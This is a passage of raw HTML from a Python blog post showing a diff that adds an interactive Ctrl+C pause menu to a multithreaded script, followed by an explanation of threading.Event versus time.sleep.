&lt;/span&gt;&lt;span class=&quot;token unchanged language-python&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&quot;[thread] task started &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    thread_do_stuff&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Simulate an IO task, e.g. requests.get().&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-python&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;# A simple interactive menu to display during the paused state!&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;# Return True -&amp;gt; continue program. Return False -&amp;gt; quit.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main_pause_menu&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;        &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            x &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;Do you want to continue? [y/n] &#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;lower&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;        &lt;span class=&quot;token keyword&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;KeyboardInterrupt&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; EOFError&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token comment&quot;&gt;# Treat Ctrl+C and Ctrl+D as &quot;no&quot;.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;Got &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;e&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;__class__&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;__name__&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;. Quitting...&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;        
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;y&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;        &lt;span class=&quot;token keyword&quot;&gt;elif&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;n&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-python&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;# Start an executor with 2 threads and 8 tasks.&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ThreadPoolExecutor&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;max_workers&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;        not_done &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;        &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;            f &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;submit&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;thread_function&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;            not_done&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;append&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;        
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;        &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-python&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            enable_custom_signal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; pause_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;is_set&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;                &lt;span class=&quot;token comment&quot;&gt;# Process results while waiting. The processing shouldn&#39;t take&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;                &lt;span class=&quot;token comment&quot;&gt;# too long in order for the pause menu to show responsively&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;                &lt;span class=&quot;token comment&quot;&gt;# after Ctrl+C is hit.&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-python&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;                done&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; not_done &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;wait&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;not_done&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; timeout&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;                &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; future &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; done&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;                    &lt;span class=&quot;token comment&quot;&gt;# Handle thread result.&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;                    &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;                        future&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;result&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;                    &lt;span class=&quot;token keyword&quot;&gt;except&lt;/span&gt; Exception &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;                        &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;e&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;                    
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;                &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;not_done&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;                    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[main] Finished all tasks!&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;                    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-python&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[main] Triggered interrupt.&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            enable_py_signal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token comment&quot;&gt;# Handle pause menu/input.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            cont &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; main_pause_menu&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;                
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; cont&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;                &lt;span class=&quot;token comment&quot;&gt;# Continue jobs.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;                quit_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;clear&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;                &lt;span class=&quot;token comment&quot;&gt;# Cancel pending jobs.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;                &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[main] Shutting down...&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;                executor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;shutdown&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;wait&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; cancel_futures&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;                quit_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;                &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[main] Finished shutdown.&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            pause_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;clear&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            resume_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Signal remaining threads to resume (and possibly quit).&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; cont&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;                &lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-python&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; __name__ &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;__main__&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    main&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;mt_with_delay_and_pause.py&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;the-magic&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#the-magic&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; The Magic&lt;/h2&gt;
&lt;p&gt;So what voodoo did we add into the second script? It all comes down to &lt;code&gt;threading.Event&lt;/code&gt;, signals, and some extra flair.&lt;/p&gt;
&lt;h3 id=&quot;threading-event&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#threading-event&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; threading.Event&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Event&lt;/code&gt; is a Python class from the &lt;code&gt;threading&lt;/code&gt; library. As the &lt;a href=&quot;https://docs.python.org/3/library/threading.html#event-objects&quot;&gt;Python documentation&lt;/a&gt; puts it:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This is one of the simplest mechanisms for communication between threads: &lt;strong&gt;one thread signals&lt;/strong&gt; an event and &lt;strong&gt;other threads wait&lt;/strong&gt; for it. An event object manages an internal flag that can be set to true with the &lt;a href=&quot;https://docs.python.org/3/library/threading.html#threading.Event.set&quot;&gt;&lt;code&gt;set()&lt;/code&gt;&lt;/a&gt; method and reset to false with the &lt;a href=&quot;https://docs.python.org/3/library/threading.html#threading.Event.clear&quot;&gt;&lt;code&gt;clear()&lt;/code&gt;&lt;/a&gt; method. The &lt;a href=&quot;https://docs.python.org/3/library/threading.html#threading.Event.wait&quot;&gt;&lt;code&gt;wait()&lt;/code&gt;&lt;/a&gt; method blocks until the flag is true.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is what we call a &lt;strong&gt;binary semaphore&lt;/strong&gt;. It’s binary because it represents two states (set or not set). It’s a semaphore because it’s a thread-safe signalling mechanism. (In the past, semaphores were visual cues used to communicate over a distance.)&lt;/p&gt;
&lt;p&gt;To demonstrate why they&#39;re so useful consider the following toy functions:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; time&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; threading

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    time&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sleep&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;done: foo&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

event &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; threading&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Event&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;bar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    event&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;wait&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;done: bar&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;What&#39;s the difference?&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;code&gt;time.sleep()&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;event.wait()&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Blocks for a duration.&lt;/td&gt;
&lt;td&gt;Blocks for a duration, but returns instantly when signalled with &lt;code&gt;event.set()&lt;/code&gt;. If no parameter is passed, waits indefinitely.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;For simple delays, &lt;code&gt;time.sleep&lt;/code&gt; is good enough. But when responsiveness and multithreaded synchronisation are needed, &lt;code&gt;Event&lt;/code&gt; becomes much more appealing. If we add some code to the second example, it&#39;s clear that &lt;code&gt;event.wait&lt;/code&gt; is a superior sleep-like function, simply because we can control &lt;em&gt;&lt;strong&gt;when&lt;/strong&gt;&lt;/em&gt; that &lt;code&gt;sleep&lt;/code&gt; finishes, across multiple threads.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;threading&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Thread&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;target&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;foo&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;start&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
threading&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Thread&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;target&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;bar&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;start&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
time&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sleep&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# do something...&lt;/span&gt;
